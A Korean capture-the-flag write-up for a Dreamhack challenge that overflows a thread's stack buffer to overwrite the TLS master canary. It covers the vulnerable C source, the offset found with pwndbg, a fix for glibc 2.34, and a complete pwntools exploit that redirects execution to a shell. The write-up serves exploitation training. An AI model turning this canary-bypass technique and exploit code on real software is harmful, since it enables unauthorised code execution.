code 분석
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
지금 thread_routine
함수에서 buf
를 원하는 사이즈만큼 변조할 수 있다. 이 함수는 스레드 함수에서 선언되었기 때문에 TLS와 인접한 곳에 buf
가 할당되어 있다.
따라서
1. TLS와 buf
의 거리 찾기
2. 마스터 카나리 변조
3. RET
을 give_shell
로 바꾸면 될 것이다.
1. TLS와 buf의 offset 찾기
buf
와 TLS의 거리는 항상 같다.buf
는 [rbp-0x110]
에 위치한다.fs_base+0x28
에 위치하므로 똑같이 위치를 찾는다.따라서 buf
와 마스터 카나리의 거리는 0x928이다!
pwndbg> p/x 0x7ffff7d89668-0x7ffff7d88d40
$1 = 0x928
2. 마스터 카나리 변조 & RET 변조
나는 마스터 카나리를 'hahahaha'로 바꾸고 싶다.
buf = b'A' * 0x108
buf += b'hahahaha'
buf += b'A' * 0x8
buf += p64(giveshell)
buf += b'A' * (0x928 - len(buf))
buf += b'hahahaha'
3. SIGSEGV 해결...
나는 잘 짰다고 생각했는데 아니라고 한다.
Glibc가 2.33 버전에서 2.34 버전으로 업데이트되면서 struct pthread 구조체와 그와 관련 코드가 일부 변화했기 때문이다.
나도 잘 모르겠다... 그냥 fs
부분에서 유효하지 않은 주소를 참조하면서 문제가 생기기 때문에 RW가 가능한 주소를 보내줘여 한다는 거란다...
최종 exploit
from pwn import *
p = remote('host3.dreamhack.games', 15993)
e = ELF('./mc_thread')
giveshell = e.symbols['giveshell']
buf2mc = 0x928
buf = b'A' * 0x108
buf += b'hahahaha'
buf += b'A' * 0x8
buf += p64(giveshell)
buf += b'A' * (buf2mc - len(buf) - 0x18)
buf += p64(0x404f80-0x972)
buf += b'B' * 0x10
buf += b'hahahaha'
p.sendlineafter(b'Size: ', str(len(buf)).encode())
p.sendafter(b'Data: ', buf)
p.interactive()